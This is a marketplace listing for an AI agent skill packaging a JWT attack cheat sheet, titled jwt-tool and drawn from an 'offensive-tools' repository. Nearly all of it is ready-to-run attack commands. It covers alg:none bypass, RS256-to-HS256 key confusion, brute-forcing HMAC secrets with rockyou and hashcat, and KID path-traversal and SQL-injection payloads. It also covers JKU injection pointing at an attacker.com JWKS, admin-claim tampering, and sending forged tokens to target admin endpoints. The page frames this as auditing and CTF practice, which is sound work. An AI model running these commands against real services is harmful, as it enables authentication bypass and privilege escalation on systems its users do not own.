jwt-tool
Auth/lab ref: broad JWT testing and exploitation toolkit.
v2026.11.13-21cd5683 installs+3 in 7 days39 StarsGNUsynced 10 hours ago
Install
No NotHoly CLI yet? Install it first.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/jwt-toolWrites to ~/.notholy/skills after checking the signature and the SHA-256.
SignatureSigned, ed25519
Packagee42055ef…47d71eb2
e42055efbded…871247d71eb21 file · 2.0 KBScanLow1 finding
- Links to outside domains
Sourcegithub.com/AeonDave/malskill/tree/main/offensive-tools/web/jwt-tool@21cd568
On this page
JWT testing suite — alg:none, algorithm confusion, KID injection, JKU/X5U, secret crack.
Quick Start
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && pip3 install -r requirements.txt
TOKEN="eyJ..."
# Decode and inspect
python3 jwt_tool.py $TOKEN
# Run full automated playbook (test all vulns)
python3 jwt_tool.py $TOKEN -M pb
# Test alg:none
python3 jwt_tool.py $TOKEN -X a
# Brute force secret
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
# Algorithm confusion (RS256 → HS256)
python3 jwt_tool.py $TOKEN -X k -pk public.pem
# Interactive tamper (modify claims)
python3 jwt_tool.py $TOKEN -TCore Flags
| Flag | Purpose |
|---|---|
TOKEN |
JWT to analyze (positional) |
-M pb |
Playbook mode — automated full audit |
-X <mode> |
Exploit mode (see table) |
-C |
Crack mode — brute force HMAC secret |
-d <file> |
Wordlist for cracking |
-T |
Interactive tamper mode |
-V |
Verify signature |
-pk <file> |
Private or public key file (.pem) |
-I |
Injection mode (modify claims non-interactively) |
-hc <claim> |
Header claim to modify |
-hv <value> |
Header claim value |
-pc <claim> |
Payload claim to modify |
-pv <value> |
Payload claim value |
-S <alg> |
Sign with algorithm: hs256 / rs256 / hs384 etc. |
-t <url> |
Send forged token to target URL |
-rh <headers> |
Request headers for -t |
-rc <cookies> |
Request cookies for -t |
-cv <value> |
Canary value — confirm exploitation success |
Exploit Modes (-X)
| Mode | Flag | Attack |
|---|---|---|
a |
-X a |
alg:none — remove signature requirement |
k |
-X k -pk pub.pem |
Key confusion — RS256→HS256 with public key as HMAC secret |
s |
-X s -ju URL |
JKU injection — point to attacker-controlled JWKS |
n |
-X n |
Null signature — empty signature field |
Common Attack Workflows
1. Automated Playbook (start here)
python3 jwt_tool.py $TOKEN -M pb
# Tests all known attack types automatically2. alg:none Bypass
python3 jwt_tool.py $TOKEN -X a
# Also try: set role/admin claim before
python3 jwt_tool.py $TOKEN -X a -I -pc role -pv admin3. Algorithm Confusion (RS256 → HS256)
# Need server's public key (from JWKS endpoint or certificate)
# Get from: https://target.com/.well-known/jwks.json
# Extract PEM with: python3 jwt_tool.py $TOKEN -X k
python3 jwt_tool.py $TOKEN -X k -pk public.pem
# Also escalate privilege:
python3 jwt_tool.py $TOKEN -X k -pk public.pem -I -pc admin -pv true4. Secret Brute Force
# Standard wordlist
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
# Custom small list (CTF)
python3 jwt_tool.py $TOKEN -C -d ctf_secrets.txt
# Fast alternative with hashcat (GPU)
# Extract: <header>.<payload>.<signature>
echo -n "$TOKEN" | hashcat -a 0 -m 16500 - wordlist.txt5. KID Injection
# Path traversal (sign with /dev/null = empty key)
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# Path traversal to known file
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../etc/passwd" -S hs256 -p "root:x:0:0:..."
# SQL injection in kid
python3 jwt_tool.py $TOKEN -I -hc kid -hv "none' UNION SELECT 'hacked'-- -" -S hs256 -p "hacked"6. JKU / X5U Injection
# Host malicious JWKS at https://attacker.com/.well-known/jwks.json
# jwt_tool auto-generates the JWKS and uses attacker key
python3 jwt_tool.py $TOKEN -X s -ju "https://attacker.com/.well-known/jwks.json"7. Interactive Claim Tampering
# Interactive: shows each field, lets you edit
python3 jwt_tool.py $TOKEN -T
# Non-interactive: set specific claim
python3 jwt_tool.py $TOKEN -I -pc sub -pv admin
python3 jwt_tool.py $TOKEN -I -pc role -pv superadmin
python3 jwt_tool.py $TOKEN -I -pc is_admin -pv true8. Verify Signature
python3 jwt_tool.py $TOKEN -V -pk public.pemSend Forged Token to Target
# Test forged token directly
python3 jwt_tool.py $TOKEN -X a \
-t "https://target.com/api/admin" \
-rh "Authorization: Bearer TARGETJWT" \
-cv "admin panel" # confirm success if this string appearsQuick CTF Checklist
# 1. alg:none
python3 jwt_tool.py $TOKEN -X a
# 2. Common secrets
python3 jwt_tool.py $TOKEN -C -d /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
# 3. Algorithm confusion (if RS256)
python3 jwt_tool.py $TOKEN -X k
# 4. Tamper claims
python3 jwt_tool.py $TOKEN -T
# 5. kid path traversal
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# 6. Full playbook
python3 jwt_tool.py $TOKEN -M pbResources
| File | When to load |
|---|---|
references/jwt-attacks.md |
Algorithm confusion deep-dive, KID SQLi, JKU server setup, claim escalation patterns, CTF tricks |
Files in this version
- SKILL.md5.1 KB
Permissions
| Permission | Declared | Found by the scan |
|---|---|---|
| Reads files | No | No |
| Writes files | No | No |
| Runs shell commands | Yes | Yes |
| Uses the network | Yes | Yes |
| Uses connectors | No | No |
| Drives a browser | No | No |
Scan findings
Reviewed on Nov 13, 2026
- InfoLink · Links to outside domains
A clean scan lowers the risk but does not prove a package is safe. Read what you install.
| Version | Published | Commit | SHA-256 | Signature | Permission change |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | Nov 13, 2026 | 21cd568 | e42055ef | Signed | – |
More from AeonDave
All from this publisherMore in APIs, SaaS and identity
See the category- testing-for-sensitive-data-exposuremukul975/testing-for-sensitive-data-exposure5
- performing-jwt-none-algorithm-attackmukul975/performing-jwt-none-algorithm-attack5
- sharp-edgestrailofbits/sharp-edges4
- hydraaeondave/hydra4
- implementing-google-workspace-admin-securitymukul975/implementing-google-workspace-admin-security4
- implementing-api-security-posture-managementmukul975/implementing-api-security-posture-management4
Ask anything your scope allows.
Create an account, add credits and ask the first question in the chat or the terminal.
- 1/3
Create the account
Individual or company. You can switch to a company later without losing balance or keys.
IndividualCompany - 2/3
Add credits
By card. Pay per token, no subscription.
$5.00minimum deposit - 3/3
Ask
In the chat, or install the CLI and run notholy login in your terminal.
$ notholy login